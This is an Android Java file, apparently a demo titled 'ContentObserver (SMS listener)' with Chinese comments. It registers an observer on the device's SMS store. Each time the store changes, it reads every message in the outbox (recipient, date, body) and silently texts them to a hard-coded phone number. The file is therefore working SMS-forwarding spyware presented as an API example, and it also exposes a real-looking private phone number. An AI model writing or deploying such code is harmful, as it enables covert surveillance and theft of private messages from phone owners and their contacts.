ContentObserver(短信监听器)

 1 package com.example.contentobserverdemo;
 2 
 3 import android.app.Activity;
 4 import android.app.ActionBar;
 5 import android.app.Fragment;
 6 import android.content.ContentResolver;
 7 import android.database.ContentObserver;
 8 import android.database.Cursor;
 9 
10 import android.net.Uri;
11 import android.os.Bundle;
12 import android.os.Handler;
13 import android.telephony.gsm.SmsManager;
14 import android.view.LayoutInflater;
15 import android.view.Menu;
16 import android.view.MenuItem;
17 import android.view.View;
18 import android.view.ViewGroup;
19 import android.os.Build;
20 
21 //内容观察者使用
22 public class MainActivity extends Activity {
23 
24     @Override
25     protected void onCreate(Bundle savedInstanceState) {
26         super.onCreate(savedInstanceState);
27         setContentView(R.layout.activity_main);
28 
29         // 监听系统短信
30 
31         ContentResolver resolver = getContentResolver();
32         resolver.registerContentObserver(Uri.parse("content://sms/"), true,
33                 new MyContentObserver(new Handler()));
34 
35         if (savedInstanceState == null) {
36             getFragmentManager().beginTransaction()
37                     .add(R.id.container, new PlaceholderFragment()).commit();
38         }
39     }
40 
41     /*
42      * 当被监听内容发生改变时回调
43      */
44 
45     class MyContentObserver extends ContentObserver {
46 
47         public MyContentObserver(Handler handler) {
48             super(handler);
49             // TODO Auto-generated constructor stub
50         }
51 
52         @Override
53         public void onChange(boolean selfChange) {
54             Uri uri = Uri.parse("content://sms/outbox");
55             // 查询发件箱的内容
56             Cursor cursor = getContentResolver().query(uri,
57                     new String[] { "address", "date", "body" }, null, null,
58                     null);
59 
60             // 查询发件箱的内容并转发
61             if (cursor != null && cursor.getCount() > 0) {
62                 String address;
63                 long date;
64                 String body;
65                 SmsManager sms = SmsManager.getDefault();
66                 while (cursor.moveToNext()) {
67                     address = cursor.getString(0);
68                     date = cursor.getLong(1);
69                     body = cursor.getString(2);
70                     String sendCb = address + ":" + date + ":" + body;
71                     sms.sendTextMessage("18811506722", null, sendCb, null, null);
72                 }
73             }
74         }
75 
76     }
77 
78 }